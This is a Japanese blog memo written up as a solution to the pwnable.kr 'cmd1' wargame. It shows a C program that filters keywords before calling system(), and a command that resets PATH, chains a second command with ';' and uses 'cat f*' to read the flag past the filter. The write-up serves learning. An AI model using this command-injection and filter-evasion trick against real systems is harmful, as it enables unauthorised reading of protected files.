srupのメモ帳

競プロで解いた問題や勉強したことを記録していくメモ帳

pwnable kr cmd1 メモ

cmd1

解法

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

サーバーに置かれているプログラムは上の通り。putenvで、環境変数のPATHが上書きされてしまっているので、catが使えなくなってしまっている。

cmd1@ubuntu:~$ ./cmd1 export
export HOME='/home/cmd1'
export LANG='en_US.UTF-8'
export LANGUAGE='en_US:'
export LOGNAME='cmd1'
export MAIL='/var/mail/cmd1'
export PATH='/fuckyouverymuch'
export PWD='/home/cmd1'
export SHELL='/bin/bash'
export SHLVL='1'
export SSH_CLIENT='211.1.200.141 49755 22'
export SSH_CONNECTION='211.1.200.141 49755 192.168.1.186 22'
export SSH_TTY='/dev/pts/10'
export TERM='xterm-256color'
export USER='cmd1'
export XDG_RUNTIME_DIR='/run/user/1025'
export XDG_SESSION_ID='4735'
export _='./cmd1'

そこで、

./cmd1 "export PATH=/bin"  

として、PATHを上書きすることをする。 ""で囲んでいるのは、空白で引数を分けないようにするため。
PATHを書き換えたあとは、cat flagをおこなえばよいが、filterで弾かれてしまうので、cat f*で逃げる。

./cmd1 "export PATH=/bin; cat f*"

;で区切っているのでは、
コマンド1; コマンド2 コマンド1を終了したら、結果に関わらずコマンド2を実行 を意味する。

qiita.com

ミス

Linuxの知識がない